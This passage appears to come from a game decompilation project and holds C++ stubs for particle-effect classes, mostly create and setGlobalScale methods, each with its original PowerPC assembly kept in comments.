{
/*
stwu r1, -0x90(r1)
mflr r0
stw r0, 0x94(r1)
stfd f31, 0x80(r1)
psq_st f31, 136(r1), 0, qr0
stfd f30, 0x70(r1)
psq_st f30, 120(r1), 0, qr0
stfd f29, 0x60(r1)
psq_st f29, 104(r1), 0, qr0
stfd f28, 0x50(r1)
psq_st f28, 88(r1), 0, qr0
stw r31, 0x4c(r1)
stw r30, 0x48(r1)
stw r29, 0x44(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x44
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EBC20
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0xcc
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EBC20:
lfs f28, 0x14(r30)
addi r3, r1, 8
lfs f31, 4(r30)
li r4, 0x79
lfs f30, 8(r30)
lfs f29, 0xc(r30)
lfs f1, 0x10(r30)
bl PSMTXRotRad
stfs f31, 0x14(r1)
mr r3, r29
mr r4, r30
stfs f30, 0x24(r1)
stfs f29, 0x34(r1)
bl create__Q23efx8TSimple3FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EBCAC
li r30, 0
mr r31, r29
lbl_803EBC68:
lwz r5, 0xc(r31)
addi r3, r1, 8
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lwz r3, 0xc(r31)
addi r30, r30, 1
cmpwi r30, 3
addi r31, r31, 4
stfs f28, 0x98(r3)
stfs f28, 0x9c(r3)
stfs f28, 0xa0(r3)
stfs f28, 0xb0(r3)
stfs f28, 0xb4(r3)
blt lbl_803EBC68
li r3, 1
b lbl_803EBCB0
lbl_803EBCAC:
li r3, 0
lbl_803EBCB0:
psq_l f31, 136(r1), 0, qr0
lfd f31, 0x80(r1)
psq_l f30, 120(r1), 0, qr0
lfd f30, 0x70(r1)
psq_l f29, 104(r1), 0, qr0
lfd f29, 0x60(r1)
psq_l f28, 88(r1), 0, qr0
lfd f28, 0x50(r1)
lwz r31, 0x4c(r1)
lwz r30, 0x48(r1)
lwz r0, 0x94(r1)
lwz r29, 0x44(r1)
mtlr r0
addi r1, r1, 0x90
blr
*/
}
/*
* --INFO--
* Address: 803EBCEC
* Size: 000154
*/
void TKchApWat::create(efx::Arg*)
{
/*
stwu r1, -0x90(r1)
mflr r0
stw r0, 0x94(r1)
stfd f31, 0x80(r1)
psq_st f31, 136(r1), 0, qr0
stfd f30, 0x70(r1)
psq_st f30, 120(r1), 0, qr0
stfd f29, 0x60(r1)
psq_st f29, 104(r1), 0, qr0
stfd f28, 0x50(r1)
psq_st f28, 88(r1), 0, qr0
stw r31, 0x4c(r1)
stw r30, 0x48(r1)
stw r29, 0x44(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x44
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EBD74
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0xe3
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EBD74:
lfs f28, 0x14(r30)
addi r3, r1, 8
lfs f31, 4(r30)
li r4, 0x79
lfs f30, 8(r30)
lfs f29, 0xc(r30)
lfs f1, 0x10(r30)
bl PSMTXRotRad
stfs f31, 0x14(r1)
mr r3, r29
mr r4, r30
stfs f30, 0x24(r1)
stfs f29, 0x34(r1)
bl create__Q23efx8TSimple5FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EBE00
li r30, 0
mr r31, r29
lbl_803EBDBC:
lwz r5, 0x10(r31)
addi r3, r1, 8
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lwz r3, 0x10(r31)
addi r30, r30, 1
cmpwi r30, 5
addi r31, r31, 4
stfs f28, 0x98(r3)
stfs f28, 0x9c(r3)
stfs f28, 0xa0(r3)
stfs f28, 0xb0(r3)
stfs f28, 0xb4(r3)
blt lbl_803EBDBC
li r3, 1
b lbl_803EBE04
lbl_803EBE00:
li r3, 0
lbl_803EBE04:
psq_l f31, 136(r1), 0, qr0
lfd f31, 0x80(r1)
psq_l f30, 120(r1), 0, qr0
lfd f30, 0x70(r1)
psq_l f29, 104(r1), 0, qr0
lfd f29, 0x60(r1)
psq_l f28, 88(r1), 0, qr0
lfd f28, 0x50(r1)
lwz r31, 0x4c(r1)
lwz r30, 0x48(r1)
lwz r0, 0x94(r1)
lwz r29, 0x44(r1)
mtlr r0
addi r1, r1, 0x90
blr
*/
}
/*
* --INFO--
* Address: 803EBE40
* Size: 000040
*/
void TKchDiveSand::setGlobalScale(float)
{
/*
lwz r4, 0xc(r3)
cmplwi r4, 0
beq lbl_803EBE54
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
lbl_803EBE54:
lwz r4, 0x24(r3)
cmplwi r4, 0
beq lbl_803EBE68
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
lbl_803EBE68:
lwz r4, 0x3c(r3)
cmplwi r4, 0
beqlr
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
blr
*/
}
/*
* --INFO--
* Address: 803EBE80
* Size: 000040
*/
void TKchDiveWat::setGlobalScale(float)
{
/*
lwz r4, 0xc(r3)
cmplwi r4, 0
beq lbl_803EBE94
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
lbl_803EBE94:
lwz r4, 0x24(r3)
cmplwi r4, 0
beq lbl_803EBEA8
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
lbl_803EBEA8:
lwz r4, 0x3c(r3)
cmplwi r4, 0
beqlr
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
blr
*/
}
/*
* --INFO--
* Address: 803EBEC0
* Size: 00002C
*/
void TKchCryAB::setGlobalScale(float)
{
/*
lwz r4, 0xc(r3)
cmplwi r4, 0
beq lbl_803EBED4
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
lbl_803EBED4:
lwz r4, 0x20(r3)
cmplwi r4, 0
beqlr
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
blr
*/
}
/*
* --INFO--
* Address: 803EBEEC
* Size: 000018
*/
void TKchCryInd::setGlobalScale(float)
{
/*
lwz r3, 8(r3)
cmplwi r3, 0
beqlr
stfs f1, 0xb0(r3)
stfs f1, 0xb4(r3)
blr
*/
}
/*
* --INFO--
* Address: 803EBF04
* Size: 000118
*/
void TKchDamage::create(efx::Arg*)
{
/*
stwu r1, -0x30(r1)
mflr r0
stw r0, 0x34(r1)
stfd f31, 0x20(r1)
psq_st f31, 40(r1), 0, qr0
stw r31, 0x1c(r1)
stw r30, 0x18(r1)
stw r29, 0x14(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x38
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EBF74
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x128
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EBF74:
lfs f31, 0x10(r30)
mr r3, r29
mr r4, r30
bl create__Q23efx11TSimpleMtx4FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EBFF4
lwz r4, 0xc(r29)
li r3, 1
stfs f31, 0x98(r4)
stfs f31, 0x9c(r4)
stfs f31, 0xa0(r4)
stfs f31, 0xb0(r4)
stfs f31, 0xb4(r4)
lwz r4, 0x10(r29)
stfs f31, 0x98(r4)
stfs f31, 0x9c(r4)
stfs f31, 0xa0(r4)
stfs f31, 0xb0(r4)
stfs f31, 0xb4(r4)
lwz r4, 0x14(r29)
stfs f31, 0x98(r4)
stfs f31, 0x9c(r4)
stfs f31, 0xa0(r4)
stfs f31, 0xb0(r4)
stfs f31, 0xb4(r4)
lwz r4, 0x18(r29)
stfs f31, 0x98(r4)
stfs f31, 0x9c(r4)
stfs f31, 0xa0(r4)
stfs f31, 0xb0(r4)
stfs f31, 0xb4(r4)
b lbl_803EBFF8
lbl_803EBFF4:
li r3, 0
lbl_803EBFF8:
psq_l f31, 40(r1), 0, qr0
lwz r0, 0x34(r1)
lfd f31, 0x20(r1)
lwz r31, 0x1c(r1)
lwz r30, 0x18(r1)
lwz r29, 0x14(r1)
mtlr r0
addi r1, r1, 0x30
blr
*/
}
/*
* --INFO--
* Address: 803EC01C
* Size: 000018
*/
void TKchSmokeHana::setGlobalScale(float)
{
/*
lwz r3, 8(r3)
cmplwi r3, 0
beqlr
stfs f1, 0xb0(r3)
stfs f1, 0xb4(r3)
blr
*/
}
/*
* --INFO--
* Address: 803EC034
* Size: 0000D0
*/
void TKchDownsmoke::create(efx::Arg*)
{
/*
stwu r1, -0x30(r1)
mflr r0
stw r0, 0x34(r1)
stfd f31, 0x20(r1)
psq_st f31, 40(r1), 0, qr0
stw r31, 0x1c(r1)
stw r30, 0x18(r1)
stw r29, 0x14(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x38
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EC0A4
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x143
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC0A4:
lfs f31, 0x10(r30)
mr r3, r29
mr r4, r30
bl create__Q23efx8TSimple1FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EC0DC
lwz r4, 8(r29)
li r3, 1
stfs f31, 0x98(r4)
stfs f31, 0x9c(r4)
stfs f31, 0xa0(r4)
stfs f31, 0xb0(r4)
stfs f31, 0xb4(r4)
b lbl_803EC0E0
lbl_803EC0DC:
li r3, 0
lbl_803EC0E0:
psq_l f31, 40(r1), 0, qr0
lwz r0, 0x34(r1)
lfd f31, 0x20(r1)
lwz r31, 0x1c(r1)
lwz r30, 0x18(r1)
lwz r29, 0x14(r1)
mtlr r0
addi r1, r1, 0x30
blr
*/
}
/*
* --INFO--
* Address: 803EC104
* Size: 00002C
*/
void TKchDeadHana::setGlobalScale(float)
{
/*
lwz r4, 0xc(r3)
cmplwi r4, 0
beq lbl_803EC118
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
lbl_803EC118:
lwz r4, 0x20(r3)
cmplwi r4, 0
beqlr
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
blr
*/
}
/*
* --INFO--
* Address: 803EC130
* Size: 000004
*/
void TParticleCallBack_KchYodare::init(JPABaseEmitter*, JPABaseParticle*) { }
/*
* --INFO--
* Address: 803EC134
* Size: 00017C
*/
void TParticleCallBack_KchYodare::execute(JPABaseEmitter*, JPABaseParticle*)
{
/*
stwu r1, -0x50(r1)
mflr r0
stw r0, 0x54(r1)
stfd f31, 0x40(r1)
psq_st f31, 72(r1), 0, qr0
stfd f30, 0x30(r1)
psq_st f30, 56(r1), 0, qr0
stw r31, 0x2c(r1)
stw r30, 0x28(r1)
stw r29, 0x24(r1)
mr r30, r5
mr r31, r3
mr r29, r4
mr r3, r30
bl getCalcCurrentPositionZ__15JPABaseParticleCFPC14JPABaseEmitter
fmr f30, f1
mr r3, r30
mr r4, r29
bl getCalcCurrentPositionY__15JPABaseParticleCFPC14JPABaseEmitter
fmr f31, f1
mr r3, r30
mr r4, r29
bl getCalcCurrentPositionX__15JPABaseParticleCFPC14JPABaseEmitter
lwz r3, mapMgr__4Game@sda21(r13)
stfs f1, 8(r1)
cmplwi r3, 0
stfs f31, 0xc(r1)
stfs f30, 0x10(r1)
beq lbl_803EC1C0
lwz r12, 4(r3)
addi r4, r1, 8
lwz r12, 0x28(r12)
mtctr r12
bctrl
b lbl_803EC1C4
lbl_803EC1C0:
lfs f1, lbl_8051FE40@sda21(r2)
lbl_803EC1C4:
lfs f0, 0xc(r1)
fcmpo cr0, f0, f1
bge lbl_803EC220
lwz r0, 0x7c(r30)
ori r0, r0, 2
stw r0, 0x7c(r30)
stfs f1, 0xc(r1)
lwz r3, 0x18(r31)
lwz r0, 0x1c(r31)
cmpw r3, r0
bge lbl_803EC220
mulli r0, r3, 0xc
lwz r3, 0x14(r31)
lfs f0, 8(r1)
add r3, r3, r0
stfs f0, 0(r3)
lfs f0, 0xc(r1)
stfs f0, 4(r3)
lfs f0, 0x10(r1)
stfs f0, 8(r3)
lwz r3, 0x18(r31)
addi r0, r3, 1
stw r0, 0x18(r31)
lbl_803EC220:
lfs f1, 0xc(r1)
lfs f0, 0x3c(r31)
fcmpo cr0, f1, f0
bge lbl_803EC284
lwz r0, 0x7c(r30)
ori r0, r0, 2
stw r0, 0x7c(r30)
lfs f0, 0x3c(r31)
stfs f0, 0xc(r1)
lwz r3, 0x34(r31)
lwz r0, 0x38(r31)
cmpw r3, r0
bge lbl_803EC284
mulli r0, r3, 0xc
lwz r3, 0x30(r31)
lfs f0, 8(r1)
add r3, r3, r0
stfs f0, 0(r3)
lfs f0, 0xc(r1)
stfs f0, 4(r3)
lfs f0, 0x10(r1)
stfs f0, 8(r3)
lwz r3, 0x34(r31)
addi r0, r3, 1
stw r0, 0x34(r31)
lbl_803EC284:
psq_l f31, 72(r1), 0, qr0
lfd f31, 0x40(r1)
psq_l f30, 56(r1), 0, qr0
lfd f30, 0x30(r1)
lwz r31, 0x2c(r1)
lwz r30, 0x28(r1)
lwz r0, 0x54(r1)
lwz r29, 0x24(r1)
mtlr r0
addi r1, r1, 0x50
blr
*/
}
/*
* --INFO--
* Address: 803EC2B0
* Size: 000108
*/
void TKchYodareBaseChaseMtx::create(efx::Arg*)
{
/*
stwu r1, -0x30(r1)
mflr r0
stw r0, 0x34(r1)
stfd f31, 0x20(r1)
psq_st f31, 40(r1), 0, qr0
stw r31, 0x1c(r1)
stw r30, 0x18(r1)
stw r29, 0x14(r1)
or. r30, r4, r4
lis r4, lbl_80497910@ha
mr r29, r3
addi r31, r4, lbl_80497910@l
bne lbl_803EC2F8
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x184
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC2F8:
mr r3, r30
lwz r12, 0(r30)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x54
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EC338
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x185
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC338:
addi r3, r29, 0x18
lfs f31, 0x10(r30)
lwz r12, 0x18(r29)
li r4, 0
lwz r12, 8(r12)
mtctr r12
bctrl
addi r3, r29, 0x34
li r4, 0
lwz r12, 0x34(r29)
lwz r12, 8(r12)
mtctr r12
bctrl
stfs f31, 0x50(r29)
mr r3, r29
mr r4, r30
bl create__Q23efx5TSyncFPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EC390
lwz r3, 8(r29)
addi r0, r29, 0x14
stw r0, 0xf0(r3)
lbl_803EC390:
li r3, 1
psq_l f31, 40(r1), 0, qr0
lwz r0, 0x34(r1)
lfd f31, 0x20(r1)
lwz r31, 0x1c(r1)
lwz r30, 0x18(r1)
lwz r29, 0x14(r1)
mtlr r0
addi r1, r1, 0x30
blr
*/
}
/*
* --INFO--
* Address: 803EC3B8
* Size: 000018
*/
void TKchYodareBaseChaseMtx::setGlobalScale(float)
{
/*
lwz r3, 8(r3)
cmplwi r3, 0
beqlr
stfs f1, 0xb0(r3)
stfs f1, 0xb4(r3)
blr
*/
}
} // namespace efx
/*
* --INFO--
* Address: 803EC3D0
* Size: 000108
*/
void setPosNrm__Q23efx11THdamaSightFR10Vector3f R10Vector3f(void)
{
/*
stwu r1, -0x40(r1)
mflr r0
stw r0, 0x44(r1)
lwz r0, 8(r3)
cmplwi r0, 0
beq lbl_803EC4C8
lfs f5, 4(r5)
lfs f6, 8(r5)
fmuls f1, f5, f5
lfs f4, 0(r5)
fmuls f2, f6, f6
lfs f0, lbl_8051FE40@sda21(r2)
fmadds f1, f4, f4, f1
fadds f1, f2, f1
fcmpo cr0, f1, f0
ble lbl_803EC420
ble lbl_803EC424
frsqrte f0, f1
fmuls f1, f0, f1
b lbl_803EC424
lbl_803EC420:
fmr f1, f0
lbl_803EC424:
lfs f0, lbl_8051FE40@sda21(r2)
fcmpo cr0, f1, f0
ble lbl_803EC444
lfs f0, lbl_8051FE44@sda21(r2)
fdivs f0, f0, f1
fmuls f4, f4, f0
fmuls f5, f5, f0
fmuls f6, f6, f0
lbl_803EC444:
lfs f1, lbl_8051FE40@sda21(r2)
lfs f2, lbl_8051FE44@sda21(r2)
fmuls f3, f1, f4
stfs f4, 0xc(r1)
fmuls f0, f1, f5
fnmsubs f8, f2, f6, f3
fmsubs f7, f1, f6, f0
fmsubs f3, f2, f5, f3
fmuls f2, f6, f8
fmuls f0, f5, f7
stfs f7, 0x10(r1)
fmuls f1, f4, f3
fmsubs f2, f5, f3, f2
fmsubs f0, f4, f8, f0
fmsubs f1, f6, f7, f1
stfs f2, 8(r1)
lfs f2, 0(r4)
stfs f2, 0x14(r1)
stfs f1, 0x18(r1)
stfs f5, 0x1c(r1)
stfs f8, 0x20(r1)
lfs f1, 4(r4)
stfs f1, 0x24(r1)
stfs f0, 0x28(r1)
stfs f6, 0x2c(r1)
stfs f3, 0x30(r1)
lfs f0, 8(r4)
stfs f0, 0x34(r1)
lwz r5, 8(r3)
addi r3, r1, 8
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lbl_803EC4C8:
lwz r0, 0x44(r1)
mtlr r0
addi r1, r1, 0x40
blr
*/
}
namespace efx {
/*
* --INFO--
* Address: 803EC4D8
* Size: 0000D0
*/
void THdamaShell::create(efx::Arg*)
{
/*
stwu r1, -0x20(r1)
mflr r0
stw r0, 0x24(r1)
stw r31, 0x1c(r1)
mr r31, r4
stw r30, 0x18(r1)
mr r30, r3
mr r3, r31
lwz r12, 0(r31)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r2, lbl_8051FE38@sda21
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EC53C
lis r3, lbl_80497910@ha
lis r5, lbl_80497924@ha
addi r3, r3, lbl_80497910@l
li r4, 0x1b8
addi r5, r5, lbl_80497924@l
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC53C:
lfs f2, 0x10(r31)
mr r3, r30
lfs f1, 0x14(r31)
mr r4, r31
lfs f0, 0x18(r31)
stfs f2, 8(r1)
stfs f1, 0xc(r1)
stfs f0, 0x10(r1)
bl create__Q23efx5TSyncFPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EC58C
lwz r4, 8(r30)
li r3, 1
lfs f0, 8(r1)
lfs f1, 0xc(r1)
stfs f0, 0x18(r4)
lfs f0, 0x10(r1)
stfs f1, 0x1c(r4)
stfs f0, 0x20(r4)
b lbl_803EC590
lbl_803EC58C:
li r3, 0
lbl_803EC590:
lwz r0, 0x24(r1)
lwz r31, 0x1c(r1)
lwz r30, 0x18(r1)
mtlr r0
addi r1, r1, 0x20
blr
*/
}
/*
* --INFO--
* Address: 803EC5A8
* Size: 0001BC
*/
void THdamaHit2W::create(efx::Arg*)
{
/*
stwu r1, -0x90(r1)
mflr r0
stw r0, 0x94(r1)
stfd f31, 0x80(r1)
psq_st f31, 136(r1), 0, qr0
stfd f30, 0x70(r1)
psq_st f30, 120(r1), 0, qr0
stfd f29, 0x60(r1)
psq_st f29, 104(r1), 0, qr0
stw r31, 0x5c(r1)
stw r30, 0x58(r1)
stw r29, 0x54(r1)
mr r29, r4
mr r31, r3
mr r3, r29
lwz r12, 0(r29)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r2, lbl_8051FE38@sda21
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EC628
lis r3, lbl_80497910@ha
lis r5, lbl_80497924@ha
addi r3, r3, lbl_80497910@l
li r4, 0x1c5
addi r5, r5, lbl_80497924@l
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC628:
lfs f31, 0x10(r29)
mr r30, r29
lfs f30, 0x14(r29)
mr r3, r31
lfs f29, 0x18(r29)
mr r4, r29
bl create__Q23efx8TSimple3FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EC72C
lfs f4, lbl_8051FE40@sda21(r2)
lis r3, "zero__10Vector3<f>"@ha
lfsu f1, "zero__10Vector3<f>"@l(r3)
li r29, 0
fmuls f3, f4, f30
lfs f5, lbl_8051FE44@sda21(r2)
fmuls f8, f4, f31
lfs f2, 4(r3)
lfs f0, 8(r3)
fmsubs f7, f4, f29, f3
fmsubs f6, f5, f30, f8
stfs f1, 0x20(r1)
fnmsubs f5, f5, f29, f8
fmuls f1, f30, f7
stfs f31, 0x18(r1)
fmuls f3, f31, f6
fmuls f4, f29, f5
stfs f7, 0x1c(r1)
fmsubs f1, f31, f5, f1
fmsubs f3, f29, f7, f3
stfs f30, 0x28(r1)
fmsubs f4, f30, f6, f4
stfs f5, 0x2c(r1)
stfs f3, 0x24(r1)
stfs f4, 0x14(r1)
stfs f2, 0x30(r1)
stfs f1, 0x34(r1)
stfs f29, 0x38(r1)
stfs f6, 0x3c(r1)
stfs f0, 0x40(r1)
lbl_803EC6C4:
lwz r4, 0xc(r31)
addi r3, r1, 0x14
addi r4, r4, 0x68
bl JPASetRMtxfromMtx__FPA4_CfPA4_f
addi r29, r29, 1
addi r31, r31, 4
cmpwi r29, 3
blt lbl_803EC6C4
lis r3, __vt__Q23efx5TBase@ha
lis r4, __vt__Q23efx8TSimple1@ha
addi r0, r3, __vt__Q23efx5TBase@l
lis r3, __vt__Q23efx12THdamaShootA@ha
stw r0, 8(r1)
addi r0, r4, __vt__Q23efx8TSimple1@l
li r6, 0x9c
li r5, 0
stw r0, 8(r1)
addi r0, r3, __vt__Q23efx12THdamaShootA@l
mr r4, r30
addi r3, r1, 8
sth r6, 0xc(r1)
stw r5, 0x10(r1)
stw r0, 8(r1)
bl create__Q23efx8TSimple1FPQ23efx3Arg
li r3, 1
b lbl_803EC730
lbl_803EC72C:
li r3, 0
lbl_803EC730:
psq_l f31, 136(r1), 0, qr0
lfd f31, 0x80(r1)
psq_l f30, 120(r1), 0, qr0
lfd f30, 0x70(r1)
psq_l f29, 104(r1), 0, qr0
lfd f29, 0x60(r1)
lwz r31, 0x5c(r1)
lwz r30, 0x58(r1)
lwz r0, 0x94(r1)
lwz r29, 0x54(r1)
mtlr r0
addi r1, r1, 0x90
blr
*/
}
/*
* --INFO--
* Address: 803EC764
* Size: 000174
*/
void THdamaDeadHahen1::create(efx::Arg*)
{
/*
stwu r1, -0x70(r1)
mflr r0
stw r0, 0x74(r1)
stfd f31, 0x60(r1)
psq_st f31, 104(r1), 0, qr0
stw r31, 0x5c(r1)
stw r30, 0x58(r1)
stw r29, 0x54(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x2c
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EC7D4
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x1e4
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC7D4:
lfs f0, 0x10(r30)
mr r3, r29
mr r4, r30
stfs f0, 0x14(r1)
lfs f0, 0x14(r30)
stfs f0, 0x18(r1)
lfs f0, 0x18(r30)
stfs f0, 0x1c(r1)
lfs f0, 0x1c(r30)
stfs f0, 8(r1)
lfs f0, 0x20(r30)
stfs f0, 0xc(r1)
lfs f0, 0x24(r30)
stfs f0, 0x10(r1)
bl create__Q23efx8TSimple1FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EC8B0
addi r3, r1, 0x20
addi r4, r1, 0x14
addi r5, r1, 8
bl "makeMtxZAxisAlongPosPos__3efxFPA4_fR10Vector3<f>R10Vector3<f>"
lfs f1, 0xc(r1)
lfs f0, 0x18(r1)
lfs f3, 0x10(r1)
fsubs f4, f1, f0
lfs f2, 0x1c(r1)
lfs f1, 8(r1)
lfs f0, 0x14(r1)
fsubs f2, f3, f2
fmuls f3, f4, f4
fsubs f1, f1, f0
lfs f0, lbl_8051FE40@sda21(r2)
fmuls f2, f2, f2
fmadds f1, f1, f1, f3
fadds f1, f2, f1
fcmpo cr0, f1, f0
ble lbl_803EC878
ble lbl_803EC87C
frsqrte f0, f1
fmuls f1, f0, f1
b lbl_803EC87C
lbl_803EC878:
fmr f1, f0
lbl_803EC87C:
lfs f0, lbl_8051FE50@sda21(r2)
addi r3, r1, 0x20
lwz r5, 8(r29)
fdivs f31, f1, f0
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lwz r4, 8(r29)
li r3, 1
lfs f1, 4(r4)
fmuls f1, f1, f31
stfs f1, 4(r4)
b lbl_803EC8B4
lbl_803EC8B0:
li r3, 0
lbl_803EC8B4:
psq_l f31, 104(r1), 0, qr0
lwz r0, 0x74(r1)
lfd f31, 0x60(r1)
lwz r31, 0x5c(r1)
lwz r30, 0x58(r1)
lwz r29, 0x54(r1)
mtlr r0
addi r1, r1, 0x70
blr
*/
}
/*
* --INFO--
* Address: 803EC8D8
* Size: 00018C
*/
void THdamaDeadHahen2::create(efx::Arg*)
{
/*
stwu r1, -0x70(r1)
mflr r0
stw r0, 0x74(r1)
stfd f31, 0x60(r1)
psq_st f31, 104(r1), 0, qr0
stw r31, 0x5c(r1)
stw r30, 0x58(r1)
stw r29, 0x54(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x2c
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EC948
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x200
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EC948:
lfs f0, 0x10(r30)
mr r3, r29
mr r4, r30
stfs f0, 0x14(r1)
lfs f0, 0x14(r30)
stfs f0, 0x18(r1)
lfs f0, 0x18(r30)
stfs f0, 0x1c(r1)
lfs f0, 0x1c(r30)
stfs f0, 8(r1)
lfs f0, 0x20(r30)
stfs f0, 0xc(r1)
lfs f0, 0x24(r30)
stfs f0, 0x10(r1)
bl create__Q23efx8TSimple2FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803ECA3C
addi r3, r1, 0x20
addi r4, r1, 0x14
addi r5, r1, 8
bl "makeMtxZAxisAlongPosPos__3efxFPA4_fR10Vector3<f>R10Vector3<f>"
lfs f1, 0xc(r1)
lfs f0, 0x18(r1)
lfs f3, 0x10(r1)
fsubs f4, f1, f0
lfs f2, 0x1c(r1)
lfs f1, 8(r1)
lfs f0, 0x14(r1)
fsubs f2, f3, f2
fmuls f3, f4, f4
fsubs f1, f1, f0
lfs f0, lbl_8051FE40@sda21(r2)
fmuls f2, f2, f2
fmadds f1, f1, f1, f3
fadds f1, f2, f1
fcmpo cr0, f1, f0
ble lbl_803EC9EC
ble lbl_803EC9F0
frsqrte f0, f1
fmuls f1, f0, f1
b lbl_803EC9F0
lbl_803EC9EC:
fmr f1, f0
lbl_803EC9F0:
lfs f0, lbl_8051FE50@sda21(r2)
mr r31, r29
li r30, 0
fdivs f31, f1, f0
lbl_803ECA00:
lwz r5, 8(r31)
addi r3, r1, 0x20
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lwz r3, 8(r31)
addi r30, r30, 1
cmpwi r30, 2
addi r31, r31, 4
lfs f1, 4(r3)
fmuls f1, f1, f31
stfs f1, 4(r3)
blt lbl_803ECA00
li r3, 1
b lbl_803ECA40
lbl_803ECA3C:
li r3, 0
lbl_803ECA40:
psq_l f31, 104(r1), 0, qr0
lwz r0, 0x74(r1)
lfd f31, 0x60(r1)
lwz r31, 0x5c(r1)
lwz r30, 0x58(r1)
lwz r29, 0x54(r1)
mtlr r0
addi r1, r1, 0x70
blr
*/
}
/*
* --INFO--
* Address: 803ECA64
* Size: 000018
*/
void TOdamaFur1::setGlobalScale(float)
{
/*
lwz r3, 8(r3)
cmplwi r3, 0
beqlr
stfs f1, 0xb0(r3)
stfs f1, 0xb4(r3)
blr
*/
}
/*
* --INFO--
* Address: 803ECA7C
* Size: 000018
*/
void TOdamaFur2::setGlobalScale(float)
